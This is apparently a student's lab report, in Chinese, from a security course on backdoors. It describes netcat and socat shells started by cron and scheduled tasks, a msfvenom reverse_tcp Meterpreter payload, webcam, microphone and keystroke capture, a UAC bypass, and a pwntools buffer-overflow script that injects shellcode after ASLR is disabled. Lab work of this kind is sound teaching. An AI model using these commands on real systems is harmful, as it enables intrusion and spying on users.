• Exp2 后门原理与实践


    实验过程

    任务一:使用netcat获取主机操作Shell,cron启动

    使用 crontab 设置每小时 39 分钟定定时运行指令在端口 5219 开启 /bin/sh 。这样我们监听这个端口就可以拿 shell 。

    任务二:使用socat获取主机操作Shell, 任务计划启动

    在定时计划中设置当用户锁定工作站时触发操作运行程序 socat ,同时设定好参数,这样我们链接参数设置的对应端口时就能拿 shell 。

    任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    生成 backdoor.exe

    使用 nc 和 ncat 传输 backdoor.exe 文件

    通过 msf 工具和在 windows 上运行后门程序拿 shell

    任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    用摄像头拍照

    用麦克风录音

    读取键盘记录

    getshell

    原来的洞没法对 win10 提权,生成一个新的后门,注意用 -a 指定架构。

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.184.129 LPORT=5219 -a x64 -f exe > backdoor1.exe
    
    

    跟靶机取得连接的步骤和之前一样,然后使用 background 查询 session 值,同时使用漏洞绕过用户账户控制。

    可以看到我们已经成功拿shell。

    可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    为了降低难度,我们可以先把 ASLR 关闭。在 root 权限下运行命令

    echo 0 > /proc/sys/kernel/randomize_va_space
    

    0 值代表不随机化,我们可以通过命令

    sysctl -a --pattern randomize
    

    查看 kernel.randomize_va_space 的值是否成功修改为 0 。
    修改成功的情况下,多次 ldd 的地址应该是一样的。

    这说明我们已经成功关闭 ASLR ,这样的话栈的地址是固定的,我们可以通过动态调试得悉 shellcode 在栈中的存储地址,接下来只要覆盖返回地址为 shellcode 的起始地址即可成功 getshell。
    使用命令在 5219 端口开启 pwn1 服务。

    nc -lvvp 5219 -e pwn1
    

    同时我们编写 exp 脚本拿 shell。

    from pwn import *
    
    io = remote('192.168.1.41',5219)
    context.binary = 'pwn1'
    
    addr = 0xFFFFCF7C    #我们输入的起始地址
    shellcode = asm(shellcraft.sh())    #生成对应架构的 shellcode
    payload = 'a' * 32 + p32(0xFFFFCF7C+32+4) + shellcode    #覆盖返回地址为 shellcode 的地址
    
    io.sendline(payload)
    io.interactive()
    
    

    可以看到我们已经成功 getshell

    问题

    (1)例举你能想到的一个后门进入到你系统中的可能方式?
    答:通过引诱受害者下载恶意文件,通过操作系统漏洞或者服务漏洞提权并留下后门。
    (2)例举你知道的后门如何启动起来(win及linux)的方式?
    答:通过伪装成 hook 函数在程序启动是调用。
    (3)Meterpreter有哪些给你映像深刻的功能?
    答:可以建立持久性后门。
    (4)如何发现自己有系统有没有被安装后门
    答:可以从注册表、自启动项、以及开启的端口等分析。

  • 相关阅读:
    sftp上传到远程服务器
    mysql 的 find_in_set函数使用方法
    wamp2.5 局域网无法访问问题
    JS图片上传预览
    select2的相关问题
    linux 更新源miss问题
    freeMarker遍历map的正确方式
    Input类型是checkbox时checked属性获取
    Java 内存区域划分 备忘录
    简单聊聊java中如何判定一个对象可回收
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12459369.html
Copyright © 2020-2023  润新知